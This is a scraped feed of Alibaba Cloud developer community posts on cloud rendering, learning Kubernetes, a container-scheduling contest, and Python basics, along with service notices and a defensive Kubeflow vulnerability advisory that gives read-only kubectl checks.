      1、对于用户的手机终端、VR设备或眼镜类各种设备,因为硬件在不断发展,它的算力会越来越强。但是个别设备算力还比较弱,所以我们希望有实时调度能力。算力强的设备,在端上做;算力弱的设备,在云上做。同时基于用户的手机电量等各方面场景,在边端体系上有一个调度能力。用户端的一个播放行为,其实是从媒资的存储到转码、CDN分发,CDN节点,通过分发服务到手机终端,当用户点击视频,通过对应的时间节点拉取对应的云端视频数据。
      2、在云渲染链路上,我们希望用户是通过调度的操作,决定计算逻辑是在端上还是边缘节点上。如果在边缘节点,通过边缘节点去访问中心节点,拉取到数据。当用户再次操作时,通过边缘节点进行相应的交互处理,再下发到端侧。这样从边缘节点到播放终端,是点对点的实时传输的操作。
      细化云渲染的整体设计,我将它分为五个部分:边缘服务框架、网络协议、端侧交互引擎、边端调度系统、应用开发工具链。其中边缘服务框架、网络协议、端侧交互引擎如下图所示,分别承担着边缘节点的框架服务能力、网络通信的协议处理、以及终端的交互、渲染引擎。而边端调度系统如上所说,主要是根据用户终端、边缘节点算力等情况合理调度用户的渲染服务是应该在终端处理还是到边缘节点处理。而基于此,我们可以看到,很大程度上服务程序是需要在多平台基础上运行的,所以相应的开发工具链(开发调试IDE、服务部署发布系统等)也是很重要的部分。

      image.png

      在边缘服务上,我们希望搭建一套基础框架,不仅承载现有的渲染服务,未来也可以部署游戏引擎来实现云游戏的服务。由于单个边缘服务节点需要服务多个终端设备,推拉流服务的用户session 管理很重要,并且低延时的推流处理、高性能的渲染服务等都是我们需要突破的重点。同时,由于我们定义的很多场景是基于实时计算和强交互的模式,更像是游戏,上行的数据以操作指令、文本等为主,下行则主要是流媒体数据、算法数据等,而且考虑到时延等问题,优选基于UDP构建的传输协议,同时考虑到网络穿透率的问题,基于TCP的方案会作为基础的兜底策略。而在端侧,重点是低延时的直播播放器,网络协议的客户端实现以及用户上行的指令处理等。

      四、未来的思考和总结

      始于播放新交互,结合5G和边缘计算,面向云渲染。基于这个链路,未来我们希望的播放新交互是什么样子?
      image.png

      首先,在交互能力上,我们已经将算法和内容做结合,视频内容本质上是导演、演员基于剧情,向用户传递信息。用户观影过程中,是不是可以跟导演、演员或内容之间有联动交互。
      其次,如何将这两者之间的信息拉通?就是通过算法结合内容做识别,算法本身去识别内容,再将识别出的内容跟用户看到的内容,在信息上更贴合用户偏好,将更多主动权交给用户,给用户更沉浸式的观影体验。同时因为这种交互的模式,对算法对算力有更高要求,借由5G和边缘计算的发展,打造一个环形体系,实现播放新交互的体系化形态。
      以上就是我们对于未来在播放和交互领域的思考。

      ]]>
      周二直播预告:数据库最佳实践_问题诊断-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 开发者经常会遇到些数据库的问题,觉得无从下手,这严重影响了开发效率,也影响了开发者对数据库的热情。本课程通过实际的场景以及最佳实践出发,带给大家一些数据库问题的通用解决思路和方法,大家会发现数据库不再是一个黑盒,相反它看得见,摸得着,也能够轻松玩得转。

      一、如何解决数据库问题提高开发效率?
      二、如何降低数据库使用门槛以及运维的成本?
      三、如何在较短的时间内用云数据库的技术和理念来武装自己,提升自己?

      6月16日(周二)14:00 阿里云高级数据库专家——郑旦 ,讲解《数据库最佳实践_问题诊断》

      欢迎大家钉钉扫描二维码,加入直播群内免费看直播!

      image.png

      ]]>
      如何轻松学习 Kubernetes?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 什么是 Kubernetes?

      我们来看一下什么是 Kubernetes。这部分内容我会从四个角度来跟大家分享一下我的看法。

      1.未来什么样

      image.png

      这是一张未来大部分公司后端 IT 基础设施的架构图。简单来说,以后所有公司的 IT 基础设施都会部署在云上。用户会基于 Kubernetes 把底层云资源分割成具体的集群单元,给不同的业务使用。而随着业务微服务化的深入,服务网格这样的服务治理逻辑会变得跟下边两层一样,成为基础设施的范畴。

      目前,阿里基本上所有的业务都跑在云上。而其中大约有一半的业务已经迁移到了自己定制 Kubernetes 集群上。另外据我了解,阿里计划今年完成 100% 的基于 Kubernetes 集群的业务部署。

      而服务网格这块,在阿里的一些部门,像蚂蚁金服,其实已经有线上业务在用了。大家可以通过蚂蚁一些同学的分享来了解他们的实践过程。

      虽然这张图里的观点可能有点绝对,但是目前这个趋势是非常明显的。所以未来几年, Kubernetes 肯定会变成像 Linux 一样的,作为集群的操作系统无处不在。

      2.Kubernetes 与操作系统

      image.png

      这是一张传统的操作系统和 Kubernetes 的比较图。大家都知道,作为一个传统的操作系统,像 Linux 或者 Windows,它们扮演的角色,就是底层硬件的 一个抽象层。它们向下管理计算机的硬件,像内存或 CPU,然后把底层硬件抽象成一些易用的接口,用这些接口,向上对应用层提供支持。

      而 Kubernetes 呢,我们也可以把它理解为一个操作系统。这个操作系统说白了也是一个抽象层,它向下管理的硬件,不是内存或者 CPU 这种硬件,而是多台计算机组成的集群,这些计算机本身就是普通的单机系统,有自己的操作系统和硬件。Kubernetes 把这些计算机当成一个资源池来 统一管理,向上对应用提供支撑。

      这里的应用比较特别,就是这些应用都是容器化的应用。如果对容器不太了解的同学,可以简单把这些应用,理解为一个应用安装文件。安装文件打包了所有的依赖库,比如 libc 这些。这些应用不会依赖底层操作系统的库文件来运行。

      3.Kubernetes 与 Google 运维解密

      image.png

      上图中,左边是一个 Kubernetes 集群,右边是一本非常有名的书,就是 Google 运维解密这本书。相信很多人都看过这本书,而且有很多公司目前也在实践这本书里的方法。包括故障管理,运维排班等。

      Kubernetes 和这本书的关系,我们可以把他们比作剑法和气功的关系。不知道这里有多少人看过笑傲江湖。笑傲江湖里的华山派分两个派别,气宗和剑宗。气宗注重气功修炼,而剑宗更强调剑法的精妙。实际上气宗和剑宗的分家,是因为华山派两个弟子偷学一本葵花宝典,两个人各记了一部分,最终因为观点分歧分成了两派。

      Kubernetes 实际上源自 Google 的集群自动化管理和调度系统 Borg,也就是这本书里讲的运维方法所针对的对象。Borg 系统和书里讲的各种运维方法可以看做是一件事情的两个方面。如果一个公司只去学习他们的运维方法,比如开了 SRE 的职位,而不懂这套方法所管理的系统的话,那其实就是学习葵花宝典,但是只学了一部分。

      Borg 因为是 Google 内部的系统,所以我们一般人是看不到的,而 Kubernetes 基本上继承了 Borg 在集群自动化管理方面非常核心的一些理念。所以如果大家看了这本书,觉得很厉害,或者在实践这本书里的方法,那大家一定要深入理解下 Kubernetes。

      4.技术演进史

      image.png

      早期的时候,我们做一个网站后端,可能只需要把所有的模块放在一个可执行文件里,就像上图一样,我们有 UI、数据和业务三个模块,这三个模块被编译成一个可执行文件,跑在一台服务器上。

      但是随着业务量的大幅增长,我们没有办法,通过升级服务器配置的方式来扩容。这时候我们就必须去做微服务化了。

      微服务化会把单体应用拆分成低耦合的小应用。这些应用各自负责一块业务,然后每个应用的实例独占一台服务器,它们之间通过网络互相调用。

      这里最关键的是,我们可以通过增加实例个数,来对小应用做横向扩容。这就解决了单台服务器无法扩容的问题。

      微服务之后会出现一个问题,就是一个实例占用一台服务器的问题。这种部署方式,资源的浪费其实是比较严重的。这时我们自然会想到,把这些实例混部到底层服务器上。

      但是混部会引入两个新问题,一个是依赖库兼容性问题。这些应用依赖的库文件版本可能完全不一样,安装到一个操作系统里,必然会出问题。另一个问题就是应用调度和集群资源管理的问题。

      比如一个新的应用被创建出来,我们需要考虑这个应用被调度到哪台服务器,调度上去之后资源够不够用这些问题。

      这里的依赖库兼容性问题,是靠容器化来解决的,也就是每个应用自带依赖库,只跟其他应用共享内核。而调度和资源管理就是 Kubernetes 所解决的问题。

      顺便提一句,我们可能会因为,集群里混部的应用太多,这些应用关系错综复杂,而没有办法去排查一些像请求响应慢这样的问题。所以类似服务网格这类服务治理的技术,肯定会成为下一个趋势。

      怎么学习 Kubernetes?

      1.Kubernetes 学习难点

      image.png

      总体来说,Kubernetes 之所以门槛比较高,比较难学习,一个是因为它的技术栈非常深,包括了内核,虚拟化,容器,软件定义网络 SDN,存储,安全,甚至可信计算等,绝对可以称得上全栈技术。

      同时 Kubernetes 在云环境的实现,肯定会牵扯到非常多的云产品,比如在阿里云上,我们的 Kubernetes 集群用到了 ECS 云服务器,VPC 虚拟网络,负载均衡,安全组,日志服务,云监控,中间件产品像 ahas 和 arms,服务网格,弹性伸缩等等大量云产品。

      最后,因为 Kubernetes 是一个通用的计算平台,所以它会被用到各种业务场景中去,比如数据库。据我所知,像我们的 PolarDB Box 一体机就是计划基于 Kubernetes 搭建。另外还有边缘计算,机器学习,流计算等等。

      2.了解、动手、思考

      image.png

      基于我个人的经验,学习 Kubernetes,我们需要从了解、动手、以及思考三个方面去把握。

      了解其实很重要,特别是了解技术的演进史,以及技术的全景图。

      我们需要知道各种技术的演进历史,比如容器技术是怎么从 chroot 这个命令发展而来的,以及技术演进背后要解决的问题是什么,只有知道技术的演进史和发展的动力,我们才能对未来技术方向有自己的判断。

      同时我们需要了解技术全景,对 Kubernetes 来说,我们需要了解整个云原生技术栈,包括容器,CICD,微服务、服务网格这些,知道 Kubernetes 在整个技术栈里所处的位置。

      除了这些基本的背景知识以外,学习 Kubernetes 技术,动手实践是非常关键的。

      从我和大量工程师一起解决问题的经验来说,很多人其实是不会去深入研究技术细节的。我们经常开玩笑说工程师有两种,一种是 search engineer,就是搜索工程师,一种是 research engineer,就是研究工程师。很多工程师遇到问题,google 一把,如果搜不到答案,就直接开工单了。这样是很难深入理解一个技术的。

      最后就是怎么去思考,怎么去总结了。我个人的经验是,我们需要在理解技术细节之后,不断的问自己,细节的背后,有没有什么更本质的东西。也就是我们要把复杂的细节看简单,然后找出普通的模式出来。

      下边我用两个例子来具体解释一下上边的方法。

      3.用冰箱来理解集群控制器

      image.png

      第一个例子是关于集群控制器的。我们在学习 Kubernetes 的时候会听到几个概念,像声明式 API,Operator,面向终态设计等。这些概念本质上 都是在讲一件事情,就是控制器模式。

      我们怎么来理解 Kubernetes 的控制器呢?上面这张图是一个经典的 Kubernetes 架构图,这张图里有集群管控节点和工作节点,管控节点上有中心数据库,API Server,调度器及一些控制器。

      中心数据库是集群的核心存储系统,API Server 是集群的管控入口,调度器负责把应用调度到资源充沛的节点上。而控制器是我们这里要说的重点。控制器的作用,我们用一句话概括,就是“让梦想照进现实”。从这个意义上来讲,我自己也经常扮演控制器的角色,我女儿如果说,爸爸我要吃冰激凌,那我女儿就是集群的用户,我就是负责把她这个愿望实现的人,就是控制器。

      除了管控节点以外,Kubernetes 集群有很多工作节点,这些节点都部署了 Kubelet 和 Proxy 这两个代理。Kubelet 负责管理工作节点,包括应用在节点上启动和停止之类的工作。Proxy 负责把服务的定义落实成具体的 iptables 或者 ipvs 规则。这里服务的概念,其实简单来说,就是利用 iptables 或者 ipvs 来实现负载均衡。

      如果我们从控制器的角度来看第一张图的话,我们就会得到第二张图。也就是说,集群实际上就包括一个数据库,一个集群入口,以及很多个控制器。这些组件,包括调度器,Kubelet 以及 Proxy,实际上都是不断的去观察集群里各种资源的定义,然后把这些定义落实成具体的配置,比如容器启动或 iptables 配置。

      从控制器的角度观察 Kubernetes 的时候,我们其实得到了 Kubernetes 最根本的一个原理了。就是控制器模式。

      其实控制器模式在我们生活中无处不在的,这里我拿冰箱做个例子。我们在控制冰箱的时候,并不会直接去控制冰箱里的制冷系统或者照明系统。我们打开冰箱的时候,里边的灯会打开,我们在设置了想要的温度之后,就算我们不在家,制冷系统也会一直保持这个温度。这背后就是因为有控制器模式在起作用。

      4.为什么删除不掉命名空间

      image.png

      第二个例子,我们来看一个真实问题的排查过程。这个问题是一个命名空间不能被删除的问题。问题稍微有点复杂,我们一步一步来看。

      命名空间是 Kubernetes 集群的 一个收纳盒机制,就像这里的第一张图片一样。这个盒子就是命名空间,它里边收纳了橡皮和铅笔。

      命名空间可以被创建或者删除。我们经常会遇到不能删除命名空间的问题。遇到这个问题,我们如果完全不知道怎么排查。第一步我们可能会想到,研究一下 API Server 是怎么处理这个删除操作的,因为 API Server 就是集群的 管理入口。

      API Server 本身是一个应用,我们可以通过提升这个应用的日志级别,来深入理解它的操作流程。在这个问题里,我们会发现,API Server 收到删除命令,但是就没有其他信息了。

      这里我们需要稍微理解下命名空间的删除过程,用户在删除命名空间的时候,其实命名空间并不会被直接删除掉,而会被改成“删除中”的状态。这个时候命名空间控制器就会看到这个状态。

      为了理解命名空间控制器的行为,我们同样可以把控制器的日志级别提高来查看详细的日志。这个时候呢,我们会发现,控制器正在尝试去获取所有的 API 分组。

      到这里我们需要去理解两个事情。一个是为什么删除命名空间,控制器会去获取 API 分组。第二个是 API 分组到底是什么。

      我们先看第二个问题,API 分组到底是什么。简单来说,API 分组就是集群 API 的分类机制,比如网络相关的 API 就在 networking 这个组里。而通过网络 API 分组创建出来的资源就属于这个组。

      那为什么命名空间控制器会去获取 API 分组呢?是因为在删除命名空间的时候,控制器需要删除命名空间里的所有资源。这个操作不像我们删除文件夹一样,会把里边的文件都一起删掉。

      命名空间收纳了资源,实际上是这些资源用类似索引的机制,指向了这个命名空间。集群只有遍历所有的 API 分组,找出指向这个命名空间的所有资源,才能逐个把它们删除掉。

      而遍历 API 组这个操作呢,会使得集群的 API Server 和它的扩展进行通信。这是因为 API Server 的扩展,也可以实现一部分 API 分组。所以想知道被删除的命名空间里是不是有包括这个扩展定义的资源,API Server 就必须和扩展通信。

      到这一步之后,问题实际上变成 API Server 和他的扩展之间通信的问题。也就是删除资源的问题就变成了网络问题。

      阿里云的 Kubernetes 集群,是在 VPC 网络,也就是虚拟局域网上创建的。默认情况下, VPC 的只认识 VPC 网段的地址,而集群里边的容器,一般会使用和 VPC 不同的网段。比如 VPC 使用 172 网段,那容器可能就使用 192 网段。

      我们通过在 VPC 的路由表里,增加容器网段的路由项,可以让容器使用 VPC 网络进行通信。

      在右下角这张图,我们有两个集群节点,他们的地址是 172 网段,那我们给路由表里增加 192 网段的路由项,就可以让 VPC 把发给容器的数据转发到正确的节点上,再由节点发给具体的容器。

      而这里的路由项,是在节点加入集群的时候,由路由控制器来添加的。路由控制器在发现有新节点加入集群之后,会立刻做出反应,给路由表里增加一条路由项。

      添加路由项这个操作,其实是对 VPC 的一次操作。这个操作是需要使用一定的授权的,这是因为这个操作跟线下一台机器访问云上资源是差不多的,肯定需要授权。

      这里路由控制器使用的授权,是以 RAM 角色的方式绑定到路由控制器所在的集群节点上的。而这个 RAM 角色,正常会有一系列的授权规则。

      最后,我们通过检查,发现用户修改了授权规则,所以导致了这个问题。

      本文转自<阿里巴巴云原生技术圈>——阿里巴巴云原生小助手

      ]]>
      赛题解析 | 初赛赛道2:实现规模化容器静态布局和动态迁移-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 首届云原生编程挑战赛正在报名中,初赛共有三个赛道,题目如下:

      赛道一:实现一个分布式统计和过滤的链路追踪
      赛道二:实现规模化容器静态布局和动态迁移
      赛道三:服务网格控制面分治体系构建

      立即报名(报名时间即日起至07/01):https://tianchi.aliyun.com/specials/promotion/cloudnative#problem-definition

      本文主要针对赛道2题目做出剖析,帮助选手更高效的解题。

      背景

      阿里每年双11不断的创造奇迹的背后,是巨大的资源成本投入,用以支撑峰值流量。每年各种大促、基础设施的升级都有可能会涉及到中心、单元机房站点变化,而这些站点的迁移、变化,我们可能会短时间借助离线、云上资源等,也可能会评估采购物理机,但无论是采用哪种方式,我们都期望控制成本用尽可能少的资源成本满足当下站点需求。
      日常态,我们使用较少的资源满足业务流量需求,但备战各种大促,尤其是双11,容器平台会承担数十万容器扩容诉求,支撑0点峰值流量,满足用户买买买的需求,同时也使得机器资源成本大幅度提升。
      在大促规模化场景下,我们希望通过合理容器静态布局及动态迁移能力,在保证业务稳定性前提下,用尽可能少的机器资源来满足大促资源成本的节省,因而集群规模化容器布局成为了我们的关注点。

      赛题描述

      参赛者需要实现两个功能,一个用于实现规模化的容器静态布局功能,一个用于实现规模化的容器动态迁移功能。
      首届云原生编程挑战赛2:实现规模化容器静态布局和动态迁移

      赛题解析

      赛题主要由源数据、规则两部分组成。在满足规则的前提下,通过队列、循环等one-by-one的方式调度容器,赛题场景将会得到极大的简化。但one-by-one的调度方式不过多感知后续数据,那么如何利用全局视角进行决策则是挑战赛考察的难点和重点。
      官方为赛题提供了简单实现,通过宿主机、容器排序,然后在满足规则情况下循环决策容器的安置,采用贪心的这种实现方式来满足尽可能少的使用宿主机,在一些特殊数据情况下,对于调度规则约束约松弛、宿主机数据约宽松,可以趋近于最优解。但对于调度约束越多、宿主机多规格约束约大的情况下,打分循环的贪心方式由于缺乏全局视角,每次容器循环安置,寻求的是当前的局部最优解。显而易见,这种贪心的方式并不适合在规模化场景下寻求资源的节省,不是符合赛题要求最好的算法。
      业界多数调度器均通过队列使用不同打分策略以one-by-one的方式调度容器,设计上并不感知后续待调度容器信息,串行扩容顺序会左右调度结果,进而极大的可能会导致资源浪费。下面通过三个容器实例、三台宿主机举例:
      静态布局
      image.png

      动态迁移
      image.png
      那么,如何去寻求更好的实现呢?接下来我们将利用题目给出来的条件来描述这个算法设计问题。

      1、首先正确理解赛题目的

      赛题需要根据约束规则实现两个功能。较通俗的描述来理解赛题如下:
      ①静态布局:给定一堆箱子,需要按照规则将给定的物品装到这些箱子中,希望在符合规则的情况下尽可能少的使用箱子。
      ② 动态迁移:给定一堆箱子,已经零零散散的放置了给定的物品,现在需要迁移物品,且每次迁移不能违背规则的情况下规整箱子。
      ③约束规则: 物品装箱过程中,可能期望衣物与衣物、鞋类与鞋、零食与零食放在一起。因而赛题中容器分布我们也需要满足一些彼此之间的规则约束。

      上述描述中箱子可以有不同的容量,对应于赛题中的机器(node)数据;上述描述中物品可以有不同的种类,对应于赛题中不同应用分组(group)的容器(pod)数据。
      赛题所属领域为容器调度领域,考察对规模化的容器部署进行决策,优化一个容器集群的整体资源。赛题优化的角度如下:

      ①调度结果满足设定的约束,并尽可能的降低约束。
      ② 最小化资源碎片,每个宿主机节点的资源尽量用完。
      ③最少化机器使用量,节省机器成本。

      碎片多少与机器使用量在不同的集群环境下其实是两个不冲突的考点,首先资源碎片是多个维度的,其次碎片少但机器价格成本高、碎片多但机器使用量少,因而需要根据不同机型的资源权重进行决策。
      应用容器的性能在容器调度时一般主要受制于三方面规则约束影响。

      ①亲和性约束,尽可能的部署在一起,如使得应用容器之间减少响应时延。
      ②反亲和约束,尽可能的不要部署在一起,如使得应用容器之间减少彼此干扰。
      ③ 折中的自定义约束。赛题规则约束考点。

      亲和性、反亲和约束分别过于松弛、苛刻,且实现上也相对简单,但根据应用的特性它是很有必要的,集群内部也在大量的使用。赛题中我们结合容器绑核信息考察的是折中的自定义约束,而这些约束可以通过线上数据、特征进行离线分析获取,并通过赛题考察的两个功能点进行集群级别的容器布局、迁移。赛题经过多次降低难度,现在主要考察以下几点:

      ①打散约束:我们希望通过约束同一应用容器单机的部署数量,来减少宕机、同机其他容器对该应用容器的影响,且需要尽可能去优化容器堆叠数。
      ②绑核约束:集团大量使用x86机型、ARM机型、及开启numa特性。我们期望同一宿主机上容器部署,单一容器尽可能不要跨socket分配cpu、单一容器尽可能不要同core分配cpu、敏感应用容器之间尽可能不要同core分配cpu。不然易给业务容器带来性能上的损失。
      ③迁移约束:容器动态迁移无论在调度链路还是业务稳定性上都是有损的,因而我们期望在动态调整整个集群时能够尽可能少的减少迁移的容器数量。

      2、其次决策赛题算法求解

      ①可参考kubernetes多套打分调度算法。
      ②可参考各类启发调度算法。
      ③可参考各类搜索算法。
      ④ 可参考线性规划类调度算法。
      ⑤ 可参考mesos多资源DRF算法。
      ⑥可参考矢量装箱算法。
      ⑦可参考智能粒子群算法。
      ⑧ 可参考机器学习训练应用、机器分数权重来优化调度打分算法。

      3、最后优化赛题求解算法

      评测程序会按照调度规则中的时间约束来终止程序的运行。因而部分算法在多项式时间内可能超过了规定的时间上限,因而可以考虑在寻求最优解、次优解时做少许优化。

      ①可考虑同规格应用合并优化。
      ② 可考虑一部分数据提前贪心布局,一部分数据最优求解。
      ③可考虑混合多算法结合,如启发、群算法。
      ④ 可考虑将整个数据规模切分,分治法求解。
      ⑤可考虑利用多核特性并发求解,取最优。

      赛题提供针对调度域常用的两种语言java(如:hadoop-yarn调度)、go(如:k8s中调度器)分别实现了demo,且参赛者可以按照要求在本地环境优化自己的程序。

      赛题评测

      评测环境

      参赛者代码程序将会运行在 1 台 4 核 4G 的容器环境中,容器会限制 CPU 和内存使用。
      评测步骤
      ①参赛者fork demo项目,创建出自己的私有项目仓库。
      • Java开发者demo地址:https://code.aliyun.com/middleware-contest-2020/django-java
      • GO开发者demo地址:https://code.aliyun.com/middleware-contest-2020/django-go
      ②参赛者在私有项目中赋予 middleware-show 成员 reporter 权限,否则无法进行评测。
      • 成员权限地址: https://code.aliyun.com/{你的账号}/{你的项目名}/project_members
      ③参赛者修改自己的项目代码。在允许修改模块中除实现接口外,其余代码均可修改,不允许修改模块,在程序评测编译前会被替换。
      • 允许修改: 实现静态布局、动态迁移功能模块,Java中的"django-calculate"模块,Go中的"calculate"模块。
      • 不允许修改: 数据模块,Java中的"django-data"模块,Go中的"data"模块。
      • 不允许修改: 运行模块,Java中的"django-start"模块,Go中的"cmd"模块。
      • 不允许修改: 功能模块,Java中的"django-common"模块,Go中的"pkg"模块。参赛者可以使用此模块下的公共函数,也可不使用。但若使用后,demo有更新,记得merge。
      ④参赛者本地调试。
      • Java:模块 "django-start" 中的 CalculateLauncher.java 文件直接运行。
      • Go: 模块 "cmd" 中的 calculate.go 文件直接运行。
      ⑤参赛者提交代码进行评测。
      • 提交评测地址: https://tianchi.aliyun.com/competition/entrance/231791/submission/572
      • 提交评测方式: 提交自定义的私有项目仓库https或ssh地址进行测试。
      ⑥ 评测系统检测到提交信息,通过git地址获取选手的代码,并进行编译。其中java项目因maven下载jar依赖会相比于go项目更加耗时。(模块替换均为替换相关demo中最新的master分支下代码)
      • Java程序编译前替换模块"django-data"、"django-start"、"django-common"。
      • Go程序编译前替换模块"cmd"、"data"、 "pkg"
      ⑦ 评测系统根据项目不同分别生成最新的Dockerfile文件,并自动构建docker镜像,然后通过kubernetes部署容器来运行程序。
      ⑧评测系统从容器创建开始计时,以调度规则中约束时长+1分钟做终止时间上限,结束程序执行。避免程序过长时间运行。
      ⑨ 评测系统收集程序最后200行执行日志,然后上传到oos服务器,并将日志下载链接和评分成绩上传到天池页面便于查看。
      ⑩ 清理容器环境,释放资源。

      ]]>
      类型转换 | 手把手教你入门Python之十八-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文来自于千锋教育在阿里云开发者社区学习中心上线课程《Python入门2020最新大课》,主讲人姜伟。

      类型转换

      函数 说明
      int(x [,base ]) 将x转换为 一个整数
      float(x) 将x转换为 一个浮点数
      str(x) 将对象 x 转换为字符串
      bool(x) 将对象x转换成为布尔值
      • 转换成为整数
      print(int("123"))  # 123 将字符串串转换成为整数
      print(int(123.78))  # 123 将浮点数转换成为整数
      print(int(True))  # 1 布尔值True转换成为整数是 1 print(int(False)) # 0 布尔值False转换成为整数是 0
      # 以下两种情况将会转换失败 ''' 123.456 和 12ab 字符串串,都包含⾮非法字符,不不能被转换成为整数,会报错 print(int("123.456")) print(int("12ab")) '''
      # 使⽤用int()函数进⾏行行类型转换时,还可以传⼊入两个参数,第⼆二个参数⽤用来表示进制。 print(int("21",8))  # 输出的结果是17.⼋八进制的21,对应的⼗十进制数字是17 print(int("F0",16)) # 输出的结果是240.⼗十六进制的F0,对应的⼗十进制数字是240
      """ 以下写法会报错。⼋八进制⾥里里允许的最⼤大值是7,所以 29 不不是⼀一个合法的⼋八进制数 print(int("29",8)) """
      • 转换成为浮点数
      f1 = float("12.34") 
      print(f1)   # 12.34
       print(type(f1)) # float 将字符串的 "12.34" 转换成为浮点数 12.34
      f2 = float(23) print(f2)  # 23.0 print(type(f2)) # float 将整数转换成为了了浮点数
      
      • 转换成为字符串
      
      str1 = str(45) 
      str2 = str(34.56)
       str3 = str(True) 
      print(type(str1),type(str2),type(str3))
      
      • 转换成为布尔值
      python print(bool('')) print(bool("")) print(bool(0)) print(bool({})) print(bool([])) print(bool(())) print(bool(None)) 

      在python中,只有空字符串串 '',"" ,数字0,空字典{},空列列表[],空元组(),和空数据None会被转换成为False,其他的都会被转换成为True

      ]]>
      算数运算符 | 手把手教你入门Python之十九-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文来自于千锋教育在阿里云开发者社区学习中心上线课程《Python入门2020最新大课》,主讲人姜伟。

      算数运算符

      下面以a=10 ,b=20为例进行计算。

      image.png
      注意:混合运算时,优先级顺序为: * 高于 / % // 高于 + - ,为了避免歧义,建议使用 () 来处理理运算符优先级。 并且,不同类型的数字在进行混合运算时,整数将会转换成浮点数进行运算。

      >>> 10 + 5.5 * 2
       21.0 
      >>> (10 + 5.5) * 2 
      31.0
      

      算数运算符在字符串里的使用

      如果是两个字符串做加法运算,会直接把这两个字符串拼接成一个字符串。

      In [1]: str1 ='hello'
      In [2]: str2 = 'world'
      In [3]: str1+str2 
      Out[3]: 'helloworld'
      In [4]:
      
      • 如果是数字和字符串做加法运算,会直接报错。
      In [1]: str1 = 'hello'
      In [2]: a = 2
      In [3]: a+str1 --------------------------------------------------------------------------TypeError                                 Traceback (most recent call last) <ipython-input-3-993727a2aa69> in <module> ----> 1 a+str1
      TypeError: unsupported operand type(s) for +: 'int' and 'str'
      • 如果是数字和字符串做乘法运算,会将这个字符串重复多次。
      In [4]: str1 = 'hello'
      In [5]: str1*10 
      Out[5]: 'hellohellohellohellohellohellohellohellohellohello'
      ]]>
      【升级】6月17日软件著作权登记服务升级维护通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【软件著作权登记】【升级维护通知】

      升级窗口:北京时间2020年6月17日 00:00 - 08:00

      升级内容:因业务系统升级,阿里云软件著作权登记服务将于上述时间停服维护

      升级影响:升级期间,登录及查看阿里云软件著作权控制台,购买阿里云软件著作权登记、支付费用及补齐申请材料将停止服务,请您在维护结束后再进行操作。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【升级】6月17日阿里云公司注册服务系统维护 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【公司注册】【系统维护通知】

      维护时间:北京时间2020年6月17日 02:00-08:00

      维护内容:阿里云云上公司注册和公司注册服务将于上述时间进行系统升级维护。

      维护影响:届时gs.aliyun.com的云上公司注册和公司注册服务将无法下单。

      如果您需要购买或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

      由此给您带来的不便,我们表示歉意,敬请谅解。

      ]]>
      【升级】6月21日.COM/.NET注册局系统维护通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【域名】【注册局维护通知】

      维护时间:北京时间2020年6月21日 09:00 - 09:45

      维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

      维护影响:届时 .com/.net 域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

      1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

      2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

      如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

      由此给您带来的不便,我们表示歉意,敬请谅解。

      ]]>
      【升级】6月22日云解析DNS系统升级通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【云解析DNS】【升级通知】
      升级窗口:北京时间2020年6月22日 22:00 - 24:00

      升级内容:云解析DNS于上述时间进行内部系统升级

      升级影响:升级期间,通过云解析DNS控制台或者OpenAPI进行操作,可能会发生短暂失败现象,但是不影响线上DNS的实际解析结果。请用户日常操作尽量避开升级时间窗口。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【漏洞预警】Kubeflow未授权访问漏洞 Fri, 02 May 2025 09:39:04 +0800

      近日,阿里云应急响应中心监测到国外某安全团队披露了一起针对Kubernetes集群中的机器学习工具包Kubeflow的挖矿事件。黑客通过Kubeflow未授权访问漏洞,可以远程执行命令并控制服务器。


      漏洞描述

      Kubernetes是一款开源的容器编排引擎,Kubeflow功能可通过连接到仪表板的API服务器使用,用户可利用该仪表板来管理其任务。默认情况下,Kubeflow仪表板仅能通过位于群集边缘的Istio入口网关使用,但部分用户将Istio服务修改为Load-Balancer,从而导致Kubeflow仪表板可以通过互联网进行访问。攻击者通过Kubeflow未授权访问漏洞,可以部署恶意容器等,从而远程执行命令并控制服务器。漏洞实际利用需要用户更改默认配置,为彻底防止漏洞风险,阿里云应急响应中心提醒Kubeflow用户尽快及时自查并采取安全措施以阻止漏洞攻击。


      安全建议

      1. 确认Kubernetes集群中没有被部署恶意容器服务。可以通过以下命令进行检查:

      kubectl get pods –all-namespaces -o jsonpath=”{.items[*].spec.containers[*].image}”  | grep -i ddsfdfsaadfs 
      
      
      
      

      2. 确保Istio服务不是具有公网IP的Load-Balancer,即Kubeflow仪表盘不直接对公网开放。可以通过以下命令检查

      kubectl get service istio-ingressgateway -n istio-system
      
      
      
      

      阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测


      参考链接

      https://www.microsoft.com/security/blog/2020/06/10/misconfigured-kubeflow-workloads-are-a-security-risk/



      我们会关注后续进展,请随时关注官方公告。

      如有任何问题,可随时通过工单或服务电话95187联系反馈。

      阿里云应急响应中心

      2020.6.14

      ]]>
      【其他】日志服务(SLS)数据加工、投递商业化通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【日志服务(SLS)数据加工、投递】【商业化通知】

      数据加工与投递功能经过产品公测期和不断完善升级,迎来全面发布。为了提供更好的服务与体验,阿里云日志服务(SLS)计划对数据加工、数据投递功能进行商业化。

      具体时间如下:

      1.数据加工:将于2020年6月30日开始推送0元账单(不实际扣费),于7月30日正式开始对当日及之后的账单收费。

